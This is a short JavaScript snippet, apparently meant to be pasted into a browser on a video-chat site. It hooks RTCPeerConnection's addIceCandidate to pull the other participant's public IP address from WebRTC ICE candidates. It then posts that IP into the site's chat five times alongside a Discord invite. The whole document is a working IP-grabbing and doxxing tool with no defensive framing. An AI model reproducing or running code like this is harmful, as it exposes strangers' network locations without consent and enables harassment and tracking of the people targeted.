window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; const sentIPs = new Set(); window.RTCPeerConnection = function (...args) { const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function (ice, ...rest) { try { const f = ice.candidate.split(" "), ip = f[4], type = f[7]; const pubIP = /^(\d{1,3}\.){3}\d{1,3}$/.test(ip) && !/^(10\.|127\.|192\.168\.|169\.254\.|172\.(1[6-9]|2\d|3[0-1])\.)/.test(ip); if (pubIP && (type === "srflx" || type === "host") && !sentIPs.has(ip)) { sentIPs.add(ip); for (let i = 0; i < 5; i++) { document.querySelector("#chatInput").value = `${ip} - .gg/UAEE 👀`; document.querySelector("#sendChatBtn > i").click(); console.log("vjmi made this.\n discord.gg/uaee") } } } catch (e) {} return pc.oaddIceCandidate(ice, ...rest); }; return pc; };